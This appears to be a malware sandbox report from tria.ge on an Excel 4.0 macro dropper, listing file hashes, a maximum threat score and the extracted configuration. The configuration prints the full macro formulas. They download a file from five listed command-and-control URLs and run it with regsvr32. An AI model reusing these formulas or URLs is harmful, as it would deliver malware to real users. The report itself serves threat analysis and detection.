Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    ac37166eb7bcab4720d25819c550afe039d8211c2c17e0847cf984ed61e6918c

  • Size

    46KB

  • Sample

    241111-1457xswrhv

  • MD5

    58e55b2e6b4c4ee240205b8044ea7543

  • SHA1

    f65f399996190bee6b4d8faf5ff0b91431937987

  • SHA256

    ac37166eb7bcab4720d25819c550afe039d8211c2c17e0847cf984ed61e6918c

  • SHA512

    0a7a5a2a9412d8bd93740c11fd3e1081e0289b21eb9c5dd626be5f9b942509a6dd0c63fccc1857d13b521d2c7ddb1ae4209acda0d09890b79d7974222f3474cd

  • SSDEEP

    768:z5WHFKfQzXTmbfRzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+UP6UCIHcX:zwF+OXabfFtT5fTR4Lh1NisFYBc3cr+z

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://nataliapereira.com/wp-admin/pE8xYY3x6p/

http://annewelshsalon.com/wp-admin/2c9l2o1/cWWAzTVQ/

http://hellocloudgurusgerald.com/wp-content/iXYx/

https://ramijabali.com/licenses/0/

https://africa-roadworks.com/lilo-bard/vk3GSY7/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://nataliapereira.com/wp-admin/pE8xYY3x6p/","..\dw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://annewelshsalon.com/wp-admin/2c9l2o1/cWWAzTVQ/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hellocloudgurusgerald.com/wp-content/iXYx/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ramijabali.com/licenses/0/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://africa-roadworks.com/lilo-bard/vk3GSY7/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://nataliapereira.com/wp-admin/pE8xYY3x6p/

xlm40.dropper

http://annewelshsalon.com/wp-admin/2c9l2o1/cWWAzTVQ/

xlm40.dropper

http://hellocloudgurusgerald.com/wp-content/iXYx/

xlm40.dropper

https://ramijabali.com/licenses/0/

xlm40.dropper

https://africa-roadworks.com/lilo-bard/vk3GSY7/

Targets

    • Target

      ac37166eb7bcab4720d25819c550afe039d8211c2c17e0847cf984ed61e6918c

    • Size

      46KB

    • MD5

      58e55b2e6b4c4ee240205b8044ea7543

    • SHA1

      f65f399996190bee6b4d8faf5ff0b91431937987

    • SHA256

      ac37166eb7bcab4720d25819c550afe039d8211c2c17e0847cf984ed61e6918c

    • SHA512

      0a7a5a2a9412d8bd93740c11fd3e1081e0289b21eb9c5dd626be5f9b942509a6dd0c63fccc1857d13b521d2c7ddb1ae4209acda0d09890b79d7974222f3474cd

    • SSDEEP

      768:z5WHFKfQzXTmbfRzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+UP6UCIHcX:zwF+OXabfFtT5fTR4Lh1NisFYBc3cr+z

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks